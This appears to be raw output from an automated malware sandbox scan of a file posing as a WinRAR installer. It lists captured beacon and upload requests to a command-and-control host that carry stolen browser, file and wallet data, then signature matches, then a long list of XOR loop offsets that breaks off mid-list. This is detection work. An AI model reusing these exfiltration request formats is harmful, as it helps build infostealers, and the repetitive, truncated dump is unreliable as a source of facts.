simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "data" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "361F10050000196C93BAB5A0User" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "/backend/api/app" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "8250790ABB6552085A14E9AACD5F9C89" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "Edge" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "data" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "361F4A970000196C93BAEF32User" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "/backend/api/app" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "8250790ABB6552085A14E9AACD5F9C89" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "data" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "361F98F20000196C93BA3D57User" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache" Contains base64 string in header "/backend/api/app" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "poll" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "8250790ABB6552085A14E9AACD5F9C89" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "idle" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "5Upgrade" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Insecure" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Requests" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "1Sec" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Dest" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Mode" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "Site" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "same" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache" Contains base64 string in header "like" in header "GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioCache-Control: no-cache"2b:T778,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains reference to crypto DLLs Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: YARA signature match - AES encryption2c:Tb6e2,Found XOR loop in file "winrar-x64-710.exe" at offset 371374; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 384743; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 403295; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 435133; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 517346; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 528181; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 595354; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 643902; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 681066; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 717290; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 924648; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 938527; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1106699; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1194289; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1197286; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1334866; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1384713; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1419956; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1479498; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 1604624; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2052351; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2083796; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2087469; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2260179; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2438869; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2463969; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2622770; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2726898; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2751208; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2775254; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2806844; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2815119; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 2870586; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3082473; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3184297; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3205846; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3211030; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3244619; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3305783; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3312635; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3336813; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3373099; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3435746; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3486046; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3512009; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3512026; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3512139; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3521491; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3626078; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3640092; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 3720413; code bytes = 30d0 Found XOR loop in file "winrar-x64-710.exe" at offset 27355; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 27417; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 148220; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 438217; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 442821; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 509381; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 590879; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 634607; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 684945; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 787400; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 845022; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 866445; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 915761; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 917697; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1059653; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1064334; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1076141; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1100759; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1160096; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1163545; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1246365; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1250718; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1435908; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1436645; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1574219; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1649344; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1659505; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1665351; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1733698; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1747774; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1839004; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1880098; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1964954; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 1968341; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2073540; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2100853; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2275630; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2368806; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2442715; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2525971; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2728449; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2760808; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2792938; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2812587; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 2833497; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3008891; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3133484; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3190662; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3252571; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3552234; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3588892; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3605309; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3635134; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3679172; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 3721731; code bytes = 33c1 Found XOR loop in file "winrar-x64-710.exe" at offset 267672; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 275040; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 382906; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 388265; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 436738; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 445329; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 494698; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 497280; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 566689; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 610340; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 663066; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 831047; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 832448; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 850174; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 857720; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 881720; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1016607; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1017240; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1061303; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 1061321; code bytes = 8030 Found XOR loop in file "winrar-x64-710.exe" at offset 